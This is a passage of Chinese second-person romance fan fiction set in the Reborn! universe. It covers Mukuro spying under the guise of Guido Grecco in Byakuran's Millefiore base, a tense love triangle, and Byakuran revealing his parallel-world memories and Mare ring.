譬如现在。 见你看向他,古伊德·古莱克脸都红了,他不好意思地别过脸,手里还抱着一捧资料,“抱歉打扰了,白兰先生,现在这里有一份急需你签的文件。” “啊啊,怎么又是签字啊。”白兰不满地嚷嚷了两下。 这么多平行世界,白兰也做过无数职业,但把密鲁菲奥雷发展成合法企业还是第一次。平行世界做黑手党的时候他可从来不会接触这些死板的规章制度,新奇倒是很新奇,但是果然还是有点不太习惯。 白兰撇了撇嘴,他根本就不在意古伊德·古莱克到底是什么时候来的,漫不经心出声喊人过来,白兰掏出了黑色签字笔。 文件确实有点多,一时半会白兰还签不完。古伊德·古莱克站在白兰旁边,他巧妙挡住了你看向白兰的方向。 你一低头,看到的就是古伊德·古莱克清瘦的背影。耳边不时传来签字笔擦过纸张的刷刷声,吹着空调的冷风,你有些困倦地打了个哈欠。 坐在窗边,你靠着墙,脚时不时晃动着,你企图以这种方法让自己清醒些。昏昏晕睡中,忽然,你感觉自己踢到了什么,立马从半梦半醒的状态中挣脱出来。还没等你寻找呢,某人身上一块显眼的灰色脚印吸引了你的目光。 你缓缓低下头,发现自己踢到了古伊德·古莱克。 他似乎完全没有察觉到刚刚的小插曲,古伊德·古莱克依旧站得笔直,隐隐地,你总感觉和最初相比,他站的位置似乎离你近了些。 你看了一会儿,很快又无趣地移开视线,你可没兴趣呆在这里等白兰批完那么多的文件。 “我先走了。”打着哈欠,你从窗台上轻松跳下,没注意到旁边古伊德·古莱克下意识想要伸出的手,你拍了拍轻飘飘的裙角,然后转身离开了这里。 白兰:“春也可真无情啊。” 古伊德·古莱克没有发表看法,但六道骸心里诡异地感到了一丝愉悦,如果是他,春也才不会就这样毫无留恋地转身离开。所以果然是白兰威胁了你。 白兰静静看你离开,直到你的背影消失在房间,他才慢悠悠开口,“春也真是个好女孩,对吧。” 古伊德·古莱克依旧没有发表看法。 白兰:“只要真正接触过她,就没有人会不喜欢她。” 尽管你傲慢、坏脾气、嚣张、又怀揣着坏心思,或许还得再加一条随时反水的可能性,但白兰依旧可以不在意,只要你留在他身边。 白兰知道自己对你的感情混杂了太多复杂的因素,有的时候就连他自己都会恍惚一瞬自己对你到底是什么样的想法,但唯有一点,白兰很确定,他想要你永远陪在他身边。 你是他存在于这个世界的锚点。 签完最后一份文件,白兰随意转起签字笔,他漫不经心看着古伊德·古莱克取走这些文件,然后,在他走出大门时,白兰忽然开口,“但是很可惜呢,春也是我的。” 古伊德·古莱克动作不变,他腼腆地笑了下,像是在赞同,然后转身离开了这里,甚至他还贴心地关上了门。 白兰意味不明地盯着合上的大门,半晌,他敛去了眼底的全部笑意。 与此同时,出了门的古伊德·古莱克神色不明地抱着文件往前走,幽深的瞳孔深处似乎燃着某种恶意的火焰,六道骸决定加快自己的进程。 这个举动很冒险,但他已经不想再等下去了。 >>>>> 随着时间的推移,你发现白兰对你越来越纵容了。虽然不清楚他转变的原因,但毫无疑问,这种转变对你来说有利无弊。 硬要说的话,唯一的坏处大概就是他白兰在纵容的同时,也越来越黏你了。这大概也有他头痛的缘故。 思忖着,你回忆白兰这段时间在你面前偶尔展露的脆弱,你不由更加好奇到底是怎样的记忆才会令他痛苦。或许那会打开你新世界的大门也说不定。脑子一直在思考着,走到拐角时,忽然,有人撞上了你。 躲闪不及,就在你要摔倒时,有人接住了你。 “你没事吧,春也小姐。”清亮干净的少年音夹杂着担忧,你抬起头,古伊德·古莱克直直望入了你眼里。你的眼睛刚往下瞥了一眼,古伊德·古莱克扶正你后瞬间松开手,他红着脸,不知所措地看着你。 “抱…抱歉……春也小姐,我不是有意要撞上你的。”古伊德·古莱克磕磕绊绊地解释,在你没看到的地方,他的指腹不自觉摩挲了下,古伊德·古莱克垂下眼睛,生怕会暴露自己眼底的情绪。 哦,对,你差点忘了。目不转睛盯着眼前羞郝的少年,你终于想起除了白兰,还有个态度微妙的小家伙。 眼看古伊德·古莱克在你的注视下连脖子都红了起来,你慢慢弯起眼睛,“我没事,还好你刚才接住了我呢。” 说起来,除了第一次见到古伊德·古莱克你产生了奇怪的熟悉感,后来再看到他时,古伊德·古莱克给你的感觉就成了一个完完全全的普通人。如果不是你记忆力优秀,你险些都要忘了这个小插曲。 掩下眸中的若有所思,你故意往他身边靠了一步,下一秒,你就看到这个腼腆可怜地少年不自觉往后退了一步,直到被你逼迫至墙角,他才弱弱出声。 “春…春也……春也小姐。”古伊德·古莱克似乎很紧张,距离过近,你甚至能听到他咽口水的声音。 “说话怎么还结巴啊,你很怕我吗?”你故作不知地问道,游刃有余地把控着你们之间的距离,你看到古伊德·古莱克无措地捏紧自己的衣角,好半晌,你才听到他小声地说了句“不是的”。 “嗯?不是什么?不怕我吗?” 古伊德·古莱克别过了脸,这下,脖子和耳根上的红晕彻底暴露在了你眼前,他小声但有力地开口,“不是的,我不害怕春也小姐。” 还没等他再说些什么,有人打断了你们。 “哦呀,春也这是在做什么?”不紧不慢的脚步声缓缓在你身后响起,一道低沉带着笑意的声音轻轻没入你的耳朵。 历史总是惊人的相似,你扭过头,看到白兰正面无表情站在你身后,他的嗓音似乎还残留着棉花糖的甜腻,但仔细看过去,白兰的眼底完全没有丝毫笑意。 看到古伊德·古莱克贴近你的一幕,白兰眼里闪过冷意,凉薄的目光轻飘飘在古伊德·古莱克身上停留一秒,白兰转而看向你,他神色不明,“看来是我打扰了你们。” 古伊德·古莱克也不知道是故意还是无意,他连忙紧张地解释,“白兰大人,事情不是你想的那样,” 白兰的脸色更难看了,他面无表情盯着你不说话。 你看看古伊德·古莱克,又看看白兰,半晌,你漫不经心调转脚步拉开了和前者的距离,然后转而看向后者,“你找我有事吗,白兰?” 白兰嘴角绷直,他冷着脸,浑身上下都散发着可怖的非人气息,你不受其影响,而古伊德·古莱克适时低下脑袋,你看不到他脸上的表情。 白兰冷笑:“怎么,没事就不能来找你了吗?” 说着,他冷漠地瞥了眼古伊德·古莱克,“明天下午有个会议,你会筹备一下,古伊德·古莱克。” 你:嚯,叫人大名了,看来是真生气了。虽然你也不知道他在气什么。 古伊德·古莱克听话地离开了,转身之际,他抬头看了你一眼,湿漉漉的小鹿眼里盛载着对你的担忧,微妙的,你的心脏忽然漏了一拍。直到古伊德·古莱克彻底不见,你都还愣愣盯着他消失的方向。 然后,白兰阴测测的声音在你耳畔响起,“很好看吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 130-136 第131章 新增的记忆让白兰知道了不少崭新的讯息, 比如说自己的基地进了个尽职尽责的彭格列卧底。白兰毫不怀疑彭格列会有派卧底前来的想法,令他感到惊诧的是,卧底的竟然是六道骸——一个最痛恨黑手党的人。 不得不说, 这真的是天降馅饼。 回忆起无数平行世界里六道骸兢兢业业为彭格列打工的模样, 白兰眼底流露出一丝意味深长。 他本来还苦恼该怎么做才能让你的立场彻底拐向他呢, 没想到机会来得这么快。 唯一算漏的是, 白兰没想到你第一次见到六道骸伪装的古伊德·古莱克就格外地关注他,白兰更没想到当他亲眼看到你主动接近古伊德·古莱克试探时, 他的情绪比自己预估得更浓烈。 白兰神色不明地看着六道骸离开。鼻腔泄出一丝意味不明的冷哼, 白兰走到你身边,然后低头看你。 ……就算六道骸换了个壳子附身, 你也能在第一时间察觉到吗?他是不是还要夸你们一句心有灵犀? 但是偏偏,白兰什么都不能说。 现在你还不知道古伊德·古莱克的真实身份,古伊德·古莱克也不知道自己知道了他的身份,他自己则更不应该在一开始就看出六道骸的身份。 再加上,白兰实际还不想那么快就揭穿六道骸, 所以他还得反过来在你面前藏好六道骸的小尾巴。 如果六道骸现在直接就在你面前暴露了身份,白兰毫无怀疑, 你绝对会跟着他一起走。哼, 这可不是他预想的结局。 不过,现在整座基地都施加了特殊材料阻碍了六道骸的附身,就算六道骸真想带你离开,也绝非易事,在那之前,他会做好一切防御措施。 白兰眯起眼睛:“你很好奇古伊德·古莱克?” 古伊德·古莱克的背影早就消失在了你面前,隐约间,你的鼻尖似乎萦绕了股似有若无的香水气息。清甜凉爽中又带了丝微弱的酸, 有点像菠萝。你的脑海第一时间出现了某个人影。 但很快,你下意识又排除了这个猜想。六道骸怎么会出现在这里呢?你的脑子里闪过无数猜想,睫毛不自觉颤动,你收回了视线。 “他是你看好的新人,不是吗?” 你的回答让白兰舒缓了心情,他眉眼放松,重又恢复了以往的愉悦,“他也可以不是。” 白兰意味不明道,“比起他,春也难道不更应该把目光放在我身上吗?毕竟,我们才是同伴啊。” 你朝他笑了下,没有说什么,白兰自动认为你默认了他的话。眉梢染上愉悦的笑意,他自然牵过你往前走。 像是想起什么,你随口问了句:“最近记忆还很混乱吗?” “嗯。”白兰轻笑着偏头看你,“春也是在关心我吗?” 你懒洋洋拖长音,“关心同伴不是一件很正常的事吗?” 你对白兰从一开始的满不在意到现在偶尔的关心,其中的付出只有白兰本人知晓。 “又开始疼了,春也。”走到下一个拐角,白兰像是支撑不住般靠在墙角,指腹轻轻揉着太阳穴,白兰脸色苍白,紫罗兰色的眼睛专注盯着你,即便是在示弱,白兰也完全不显柔弱,他看上去更像是在和你撒娇。 苍白的睫羽像冬日里的小精灵,清清浅浅地在眼睛上打下一片阴影,不知是不是灯光造成的错觉,你总觉得白兰的眼睛里泛着水光,柔软的水色中和了他眼底的淡漠和冷锐,莫名的,此刻的白兰给你一种奇异又珍贵的真实感。 你摊开手,“那要来充下电吗?” 白兰眼睛一亮,他毛茸茸地凑了上来,然后轻轻靠在了你身上。眉眼上挑,他漫不经心撩起眼皮,目光落在空无一人的拐角,他悠悠闭上了眼睛,白兰撒娇般拖长尾音,“果然,还是春也最好了~” 你的距离感早就在日复一日和骸骸他们的相处中慢慢变得模糊,白兰敏锐察觉到这一点,他总能找到恰当的时机超绝不经意地自然贴近你。温水煮青蛙,慢慢的,你不再排斥白兰的亲近。偶尔回过神,连你自己都觉得不可思议。 ——你不再讨厌白兰,也不再排斥他。 视线落在你靛蓝色的耳钉上,在你看不到的角落,白兰眯起眼睛,心里咕噜咕噜翻滚着酸涩的气泡,他侧过脑袋轻轻蹭了蹭你的头发。 “只有我…真正站在你这边。”这声低语杂糅在香甜的空气里,你只感受到温热的吐息落在你耳畔,你下意识偏过头,发出一声疑惑的音调。 白兰垂下眼睛,“没什么……” 顿了顿,一声微不可闻的轻笑飘进了你的心脏,“我是说,在这个世界,能遇到你真是太好了。” 拐角处,慢慢离开的六道骸听着耳机里你们的对话,嘴角渐渐绷紧,他脸上挂着无懈可击的笑容弧度,然后缓缓离开了这里。 kufufu,白兰…… 安抚完白兰,你告别了还有工作的白兰,无视对方黏糊糊的视线,你回到了自己的休息室。白兰的基地基本都被监控覆盖,除了你的休息室。 在你的强硬拒绝下,白兰暂时放弃了这个变态的行为,你得以拥有完完全全属于自己的私人空间。打开手机和犬、千种聊了会儿天,忽然,你想起今天遇到的古伊德·古莱克,指尖微顿,你删除了原本的文字,转而问起了六道骸的近况。 「犬:骸大人不是去找你了吗?」 「千种:之前一直没有得到你的消息,骸大人也无法做到附身你,担心你出事,骸大人自己去找你了。不过很奇怪,你最后离开的地方监控全都消失了,线索再次中断。 千种:春也没事真的太好了,毛茸茸的笑脸.jpg」 无法做到附身?监控消失? ……难怪最近你都没有梦到过六道骸了。 你眯起眼睛,后者肯定是白兰做的无疑,前者就算不能确定是白兰动的手脚,也绝对和他有关系。 你再次升起了浓烈的警觉心,比起监控消失这种小问题,果然还是六道骸无法做到附身更严重些。自你进入这个基地的每一步,所有的一切看上去都很正常,你无法确定到底是哪一步出了差错。回忆起白兰日常对你笑眯眯的撒娇模样,你慢慢垂下眼睛。 打字框一直显示正在输入中,你等待了很久,终于,两行字一齐冒了出来。 「犬:春也,你什么时候回来啊,小狗打滚.jpg」 「千种:我最近新学了好几样菜,想和春也一起分享(附新菜图片) 千种:犬在想你。 千种:我也是。」 你的神色有一瞬间恍惚了下,手指在键盘上按了很多下,然后你又慢慢的、慢慢的一点一点删除自己打下的文字。 「你:很快。我也想你们。」 等到搞清楚…白兰的事情,你就会回家。 第132章 古伊德·古莱克是个对工作异常严谨认真的人, 大约是出于这一点,白兰才会对他格外看重,短短一周的时间, 你看到了古伊德·古莱克升职飞速的过程。 但出乎意料, 和工作上认真到有些严肃的态度不同, 私底下, 古伊德·古莱克是个很容易害羞的人。 资料室,古伊德·古莱克就坐在靠窗的位置上认真整理着白兰需要的资料, 你无意路过, 未关严的门缝透出的微弱光让你忍不住驻足,偏过头, 你恰好看到他黑色发丝上的金芒,那是阳光洒在他身上的余晖。 思索间,你推开了门,随意倚靠在门框,你屈指不轻不重敲了两下门, 见古伊德·古莱克抬起头看向你,你语调散漫:“我能进来吗?” “当然可以!” 黑曜石般漂亮剔透的眼睛腾得亮了起来, 古伊德·古莱克连忙整理了下乱糟糟的桌面, 他站起身替你拉开了椅子,顺直柔软的黑色头发服帖地贴在他的头皮,古伊德·古莱克弯了下嘴角,清浅干净的笑容瞬间让这张普普通通的脸多了几分灵动。 “春也小姐过来是有什么事要交代吗?” 你挑了下眉,反问道:“嗯?没什么事就不能来找你吗?” “当然不是!春也小姐能来我很开心!” 古伊德·古莱克的眼睛亮晶晶的,像小狗。六道骸就绝不会露出这种蠢兮兮的表情,他总是保持着惯有的优雅和神秘,像无法捉摸的雾。硬要说的话, 古伊德·古莱克倒是莫名让你想起了沢田纲吉。 你:“你还在整理资料吗?” 古伊德·古莱克:“是的,白兰大人又给了我一堆资料,按照现在的进程,到晚上我就可以全部搞定了。” 密鲁菲奥雷家族里,你的权限仅次于白兰,所以你理直气壮地拿起资料看了起来。古伊德·古莱克在这几天里已经充分明白了你的地位,垂下的眼睛里闪烁着明明灭灭的光,他没有阻止你。 “又是和彭格列相关的资料啊。”你简单翻了几页,其中还有涉及到彭格列战力的一些数据。不动声色瞥了眼在一旁乖乖站着的古伊德·古莱克,你还是很难想象白兰那么警惕的一个人居然会把这么重要的东西交给古伊德·古莱克,细算起来,他入职连半个月都没有。 你想不明白白兰对古伊德·古莱克如此信任的原因。总不可能这份有关彭格列战力的数据是假的。不仅如此,里面还有针对彭格列的一系列措施,甚至连游戏的一些情报都包含在内…… 你陷入了沉思,你真是越来越搞不懂白兰的目的了。 古伊德·古莱克就站在你身旁,他站立的位置恰好遮住了大半的阳光。古伊德·古莱克,不,或者说是六道骸。即使有在克制,六道骸的目光也还是无法抑制地落在你身上。 ……在他看不到的日子里,你瘦了好多。 白兰那个甜食癖不节制地让你吃了好多甜食,也不知道你有没有好好刷牙。 他在这里受限太多,六道骸无法知道你每日有没有正常用餐,他也无法每时每刻都盯着你的每一个动作……正如你不知道白兰的真实目的,六道骸也不明白你辛辛苦苦潜入白兰基地并且努力获取白兰的信任是为了什么。 六道骸忽然想起过去他曾和你提过密鲁菲奥雷的事情,指尖轻颤,他微微侧头,晦涩不明的目光不经意落到你乌黑的发丝,他看到你认真专注地低头查看那些资料。 你素白修长的手指漫不经心翻开一页又一页,垂落的发丝恰好拦住他妄图望进你眼睛里的视线,六道骸一眨不眨盯了你很久很久。 久到你终于觉察到那股视线,并且和他对视上,六道骸也没有收敛。黑色的眼珠微动,六道骸神色自然地向你迈了一步,“怎么了?是看到有什么问题吗?” 你把资料全部还到古伊德·古莱克手上,“我没有看出问题。” 你又不了解彭格列的战力,哪里能找出破绽?注意到你和古伊德·古莱克过近的距离,眸光闪烁,忽而,你弯了弯眼睛,“我只是忽然觉得,古莱克先生和我认识的一个人有点相像。” 古伊德·古莱克脸上毫无破绽,他好奇地眨了下眼,“春也小姐说的那个人,和我长得很像吗?” “长相上其实毫无相似点。”你故意毫无距离感地贴上好奇的古伊德·古莱克,他的肌肉控制力实在好,脸上恰到好处地流露出惊慌和无措,古伊德·古莱克不由自主后退了两步,他还磕磕绊绊地叫了两声你的名字。 “春也…春也小姐……” “嗯,我在呢。” 你单手撑在古伊德·古莱克身后的桌子上,身体自然贴近,你却毫无反感的情绪,饶有兴趣地望着古伊德·古莱克颤动的睫毛,你的一只手还搭在资料上没有松开。 古伊德·古莱克今天身上又换了种味道,淡淡的薄荷香夹杂着似有若无的酸涩柠檬味,这股气息很淡很淡,你必须得贴近他的身体才能嗅到。 古伊德·古莱克被迫仰起脖子,喉结微滚,他紧张地咽了下口水。你刚刚骤然放大的脸好似还停留在他脑海,古伊德·古莱克一低头就能看到你含笑放松的眉眼,抱着资料的手感知着你搭在上边轻微的重量,古伊德·古莱克藏在资料下的手指不动声色摩挲了下,他该移开视线。 古伊德·古莱克该移开视线。 尤其是在明知白兰对你有着明晃晃的占有欲情况下,他该尽守本职地移开视线。 但是,古伊德·古莱克需要与你拉开距离,可六道骸做不到把视线从你身上移开。 你轻柔的嗓音像琴弓轻飘飘拨动了空气中无声的琴弦,也拨动了他本就不平静的心弦,六道骸的心跳微不可控地漏了半拍。 ——他总是拿你没有办法。 六道骸张了张嘴,往日能言善辩的卧底本能在你面前只剩下最纯粹的六道骸本身,六道骸惊讶发觉他竟无法在你面前做出完美的伪装。 譬如此刻,六道骸明知道你对他的身份产生了怀疑,他本该做出正确的选择来打消你的怀疑,但望见你嘴角温和的笑意,和你无意识流露出的亲昵姿态,理智悄无声息出走,六道骸忽然就想知道他在你心里的评价。 古伊德·古莱克问得磕磕绊绊:“春也小姐口中的那个人…和春也小姐是什么关系呢?” “他啊——”你懒洋洋地拖长音,漫不经心打量着古伊德·古莱克的表情,你笑得恶劣,“可是我最讨厌的人呢。” 六道骸轻松的表情一僵,他下意识想要望进你心底,却在看清你眼底的情绪后明悟。 古伊德·古莱克:“是吗?我还以为他会是春也小姐最喜欢的朋友呢。” 你笑了下,没有回答,但古伊德·古莱克显然还有话想说,“我能问一下,春也小姐为什么会想要跟随白兰大人吗?” 你慢慢站直身体,掩下眼底意味不明的情绪,你回答得漫不经心,“白兰说,他想要覆灭黑手党。” “巧合的是,我的朋友,他和白兰有着相同的梦想。你说,巧不巧?” 六道骸心里一怔。 “在此之前,他已经成功覆灭了好几个黑手党家族。”你偏头看向站在阳光下的古伊德·古莱德,不知不觉,你和他离了有十步之远。 灿烂的阳光努力想要伸出更长的触手照亮屋内,但受限于窗户的大小,阳光被迫止步于你脚尖前。 “我愿意帮助他更快地实现这个梦想。” 你看着眼前面容青涩的古伊德·古莱克,恍惚间,你好像看到了年幼清瘦的六道骸站在摇曳的火光前,执着地拉住了你的手。 十年前的他站在火光中,带着恨意说要覆灭所有的黑手党,你知道这个梦想的艰难与天真,却也还是毅然决然牵住了他的手。 “但是,据我所知,白兰大人的目的不单单是想要覆灭黑手党。”古伊德·古莱克的嗓音莫名干涩,“春也…春也小姐,你不要被他……” “嗯哼,找到春也酱了呢~~”神秘的白兰忽然出现,他笑眯眯地捧着棉花糖走到你面前,淡漠的目光随意扫过古伊德·古莱克,白兰微眯起眼睛,“雷欧刚刚是想在春也酱的面前说我的坏话吗?” “不可以呢。唯独这件事情,我是会生气的。”笑意不知何时从他脸上消失,白兰一手亲昵地搭在你的肩膀,他居高临下望着古伊德·古莱克,语调平静到吓人,白兰面无表情地警告他。 “下一次,不要让我再看到你单独和春也酱在一起,古伊德·古莱克。” 古伊德·古莱克低下了头,“是,白兰大人。” 在白兰带着你离开后,他神色不明地看向你们离开的方向,低头望着真假参半的资料,古伊德·古莱克沉默握紧了拳头。 “春也酱刚刚在和古伊德·古莱克谈论什么有趣的事情呢?”白兰语气轻松地询问你,看样子他像是根本没听到古伊德·古莱克刚刚越矩的话语。 你偏过头,没想到白兰的视线一直没有从你脸上移开,你恰好看到了他浅淡的紫色虹膜。 白兰:“是什么我不能知道的事情吗?” 在你面前,白兰的语调一如既往的甜腻,可你分明看到他的眼底没有丝毫笑意。 你:“没什么你不能知道的事情。” 不管白兰究竟有没有听到古伊德·古莱克刚刚的说话内容,既然他选择了不知道,那么你也没必要再多说什么。 “我和他交谈的内容主要是关于资料的事情,我看了下,有几样应该算是比较重要的吧。” 白兰没什么情绪地笑了下,他没有揪着这个话题不放,转而注意起你话语里的另一个重点,“嗯?春也酱想问什么?” 你:“你好像很信任古伊德·古莱克。” “信任?”白兰意味不明地咀嚼这个单词。 你:“难道不是吗?” 白兰微妙停顿了几秒,嘴里有一下没一下塞着棉花糖,直到你忍不住侧过头看他,白兰这才不紧不慢地开口,“信任这个词,不太适合我对雷欧的感情呢。” 这个世界,白兰对彭格列的下手远没有平行世界那么狠,甚至,连他的家族都不再属于里世界,所以白兰很好奇六道骸这一次来密鲁菲奥雷卧底的原因。 ——究竟是为了他效忠的彭格列,还是因为你的存在?亦或是两者皆有。 作为看客和旁观者,白兰大概能猜出六道骸未来会一直呆在彭格列的想法,但显然,白兰不觉得你会理解和接受。谁让彭格列世世代代都是洗不干净的黑手党呢。 白兰可不会轻易给出信任呢,他这么做的目的,当然是为了—— 微微侧头,浅淡的虹膜倒映出你捏着棉花糖的模样,白兰慢条斯理地开口,“因为,古伊德·古莱克的能力确实优秀啊。” 平行世界里,要不是彭格列的时间紧迫,导致六道骸不得已暴露马脚,便是白兰自己,也得花好长一段时间才能看出端倪。 那天过后,表面上,白兰依旧照常对古伊德·古莱克委以重任,但暗地里隐隐有什么暗流开始不断涌动。 在游戏开始前,白兰的记忆依旧时不时处在暴动中,他一边思考着该如何完美开启沢田纲吉的游戏,一边思索怎样将古伊德·古莱克就是六道骸的真实身份利益最大化,一边还在考虑如何才能和你的感情更进一步。同时,白兰还要不间断地梳理自己杂乱无序的记忆。 每日过度用脑下,白兰的大脑难以得到充分消息,他的头更痛了,连吃棉花糖都无法缓解。 浴室里,白兰狼狈地跌坐在瓷砖上,手指握拳撑在墙壁,裸露的小臂上青筋虬结。热气蒸腾,水流打湿着他苍白的毛发,白兰闭上眼睛极力隐忍着痛苦,大脑高强度梳理着又一次的记忆暴动。精神力高度集中下,白兰的喉间不由感受到了几分干涩。 无意识滚动喉结,带着热意的水珠缓缓滑落,然后顺着白到发光的胸膛往下慢慢流淌,没过紧实有力的腰腹后,水珠沿着人鱼线的方向一路往下,直到与其他小水珠汇聚。 “……春也。”极致的痛楚下,白兰轻声念叨着你的名字,仿佛只有这样,他的痛苦才能少一分。 本来,他今天应该出差处理事务,但因为突然的记忆暴动,白兰被迫中止了行程。 这次的记忆暴动和以往接收平行世界自己的记忆不一样,就好像该世界出了点小bug,游戏不断清空加载,试图恢复成游戏初始状态,而最先需要清除的就是白兰这个超级大bug。 白兰有预感,一旦他彻底理清这一次的记忆,这个世界将会出现与众不同的变化。白兰期待着新游戏的启动。 将有用和无用的记忆分别归类,努力又艰难地梳理下来,白兰基本可以确定,某一个平行世界的自己出了问题。或者说,某个平行世界的自己被打败了。 尽管听上去有些匪夷所思,但白兰推算过,输给彭格列的概率是最大的。这令他难免升起了几分好奇,明明他都比彭格列的本人都要更了解他们的作战方法和每一个出招方式,那他们到底是怎么做到在这么恶劣的条件下反败为胜的呢? 这实在太令他好奇了,白兰选择提前了和彭格列的游戏。 不过在那之前,比起率先满足自己的好奇心,白兰现在还是更想和你分享自己的新发现。上一次,他本打算慢慢告诉你他记忆的事情,谁料中途被古伊德·古莱克打断了他们的交流,想到你最近偶尔向他投来的好奇目光,白兰觉得是时候满足他可爱的春也酱了。 确认自己缓过来后,白兰撑着墙壁慢慢站起,直接关掉热水,白兰抬脚跨出浴室,不断从头发和身上滑落的水珠打湿了地毯,上面隐隐显出点点深色印记,白兰完全没有在意,拿干燥的毛巾简单擦拭下身体,白兰随意套了件干净的白衬衫和裤子就直接去找你了。 出乎意料,这一次,白兰没有在你以前惯常会出现地点看到你的身影,白兰眯起眼睛,他直接打开手机上所有的监控开始搜寻,终于,他在一个外观没有任何监控设备的小房间发现了你的存在。如果他没记错,白兰记得那是他曾你提到过的没有监控覆盖的区域之一。 看样子,你在检查过一遍后相信了他的话。只可惜,后来白兰悄无声息填补上了这个漏洞。 脑海里闪过各种各样的猜测和推理,白兰面无表情直奔你的地点,隔着手机屏幕,他清晰看到你正把他基地的布局发给外界。 白兰冷笑:春也这是发给谁呢,好难猜啊。 忍着头痛带来的烦躁,即将到达目的地前,白兰极力克制内心翻涌的不爽,压下面上扭曲的笑容,白兰无声无息出现在了你背后。 “春也酱还真是给了我一个好大的惊喜啊。” 突兀响起的阴冷声音吓得你汗毛竖起,你连忙想要藏起手机,下一秒,带着热意的身躯悄然无声贴近你。 白兰直接弯下腰,就着这个姿势,他一手覆上你的腹部阻止你的逃离,一手轻松从你手上拿过手机。白兰只简单看了几眼屏幕就把你的手机扔到一旁,没有关闭的屏幕在黑暗里闪烁着微弱的光芒,你的视线艰难从上面移开。 “白兰?”你语气犹疑,你根本没想到白兰会出现在这里。 几天前,白兰就提过他今天有事会出门一趟,在你不经意的打听下,你从白兰下属的口中彻底确认白兰了今天真的会离开密鲁菲奥雷,你这才决定趁这个大好时机把基地的布局和路线发给六道骸他们。 那次全方面的监控还是让你提起了微妙的警惕心,你记得,在覆灭黑手党之前,白兰曾无意提过比覆灭黑手党要恶劣一万倍的想法。尽管这些天白兰的表现像个正常人,但你始终无法忘记白兰过去的非人疯癫模样,你准备为他的疯狂留条后路。 ——而六道骸他们就是你的后路。 你镇定道:“你今天怎么会在密鲁菲奥雷?” “怎么,春也酱很不想见到我吗?”白兰没什么情绪地笑了两声,他单手扼住你的下巴。 刚洗过澡,白兰身上还带着一股朦胧的热气,未擦干的发尾缓缓凝聚着水珠,随着他的动作,发尾摇晃,冰凉的小水珠顺势滴落你的脖颈。 房间内的温度本就不高,皮肤骤然触碰到凉意,你下意识缩了缩脖子。白兰却以为你想要逃跑,他不由收紧了禁锢你的动作。 “如果不是我临时取消的行程,怕是还看不到春也酱真正的心思呢。” “看样子,春也的记性很不好呢。”感受着怀里的温热,白兰神色晦涩不明,“春也是想要背叛我吗。” 你知道这是白兰在说你们过去的同伴关系,敏锐感知到危险的氛围,你熟练安抚道:“当然不是,我们依旧是同伴。” 白兰也不知是信了还是没信,他神色不明:“喜欢骗人的孩子可不会得到糖果呢。” 六道骸,六道骸,唯有六道骸,不管怎样,你的心脏永远都为他保留着一个位置! 你不太喜欢湿答答的水珠落身上的触感,挣扎了几下,你始终没能从白兰的禁锢里挣脱出来。不过比起禁锢,白兰更像是整个人都挂在了你身上。一米八几的少年如同树袋熊完完全全将你嵌在他的怀里,滚烫的热意不断开始蔓延,不知不觉,你的衣服上都染上了白兰沐浴露的味道。 “白兰!”你气恼地叫他的名字,“快松开!!” “说起来,春也刚刚是在给谁发消息呢。”白兰突然开口,你瞬间像被捏住嘴巴的鸭子噤声。 冰凉的水珠滴答滴答落在你耳朵、脖颈、衣服,潮湿下裹挟着滚烫的温度,你试图伸手,白兰瞬间像见缝插针的藤蔓黏糊糊地和你十指相扣。 一切的质问与不爽在看到你后转瞬化为奇妙的满足,白兰不由想到,不管怎样,起码你还在这里,你没有离开,你留在了密鲁菲奥雷,留在了他一手创立的家族里。 想到这里,他的情绪忽然又平静了许多,直到抱住你,密密麻麻的疼痛渐渐消失,转而化作难以言喻的舒爽,疼痛只偶尔参杂在其中,提醒着他不要沉溺于你欺骗的假象。 “没关系,只要春也还在这里,我可以选择原谅你这次。” 低沉甜腻的嗓音犹如跗骨之蛆死死缠绕着你身体的每一寸,角落里,得到冷落的手机一直不间断地跳出新的消息,明明灭灭的白光在房间内一闪一闪,白兰眯起眼睛,选择性无视了他的存在。 你偏过头,发现自己实在无法搞懂白兰的思维。本以为这一次他会和你撕破脸,毕竟这么大的破绽在眼前,除非他是瞎子,不然白兰不可能看不到手机上刚刚发出的基地布局路线照片,甚至,后续它还一直跳出消息,但是你完全没想到白兰居然还真就这样硬生生无视了它。 你:难以理解。 你还想着如果白兰准备对你不利,你就直接开启「美貌」并把它拉到最大值,至于白兰最后的下场,谁管他呢。 这期间,虽然你没有得到白兰最大的秘密,但你隐隐能猜出什么,甚至你还遇到了古伊德·古莱克这个疑似六道骸的意外之喜。 你不笨,一片一片拼图缓慢在你脑海成型,那些缺失的真相,渐渐的,你已经摸到了它们的内核。现在,你还差一块最关键的拼图,就能得到你想知道的一切。 而现在,既然白兰不准备和你撕破脸,你也没有激怒他的打算,暂且,你可以先继续留在密鲁菲奥雷。 “但是,明明是白兰先对我隐瞒的呢。”思绪逐渐开始清晰,你直接倒打一靶,“还有一件事,白兰一直没有告诉我,难道不是因为你一直先不认同我的身份吗?” 手机时不时闪烁着明明灭灭的光,昏暗的屋子里,你和白兰只能借助手机屏幕微弱的光芒看清彼此。听到你的质疑和冷笑,白兰慢慢松开了你。 “本来,我已经打算告诉你了,但是上一次被讨厌的雷欧打断了。” 你双手环胸:“所以呢,现在没有人能打扰我们,这一次我能知道了吗?” 白兰:“是平行世界。” 迟疑了一秒,你重复了一遍白兰的话,“平行世界?” “几年前,我无意得到了平行世界的记忆,然后某天,有人找到我并给我了特殊的指环,在那之后,我又获得了新的能力。” 回想起那一天,或许,那就是他命运的转折点。 他本该傲慢又冷漠地把这个世界当成盛大的游乐园,深渊与世界同时都在注视着白兰,但在命运之外,他遇到了你。此后,属于白兰的命运之书彻底被改写,他获得了新的希望与命运。 第133章 事情的走向开始变得玄幻起来。 你皱起眉:“指环?新能力?” 白兰从口袋里掏出了属于他的大空指环, 自从天天和你腻在一起后,白兰已经很少关注它了。 “玛雷指环,一共有七枚。不同的指环代表不同的属性, 我拥有的是代表大空属性的玛雷指环。” 两对银色的翅膀中央捧着一块椭圆形的橙色宝石, 它现在正被白兰戴在右手的无名指上, 宽大的指环衬得白兰的手指更加修长。 白兰:“想看看火焰吗?” 你愣住:“什么?” 也不知道白兰做了什么, 咻的一下,你看到指环上突然冒出了耀眼的橙色火焰。夺目灿烂的橙色火焰在你眼中摇曳, 你惊叹地望着眼前不科学的一幕, 尽管知道这个世界存在奇幻的能力,也知道骸、犬、千种都拥有特殊的能力, 但每次近距离接触你过去从未接触过的存在,你都会被他们的特殊惊叹到。 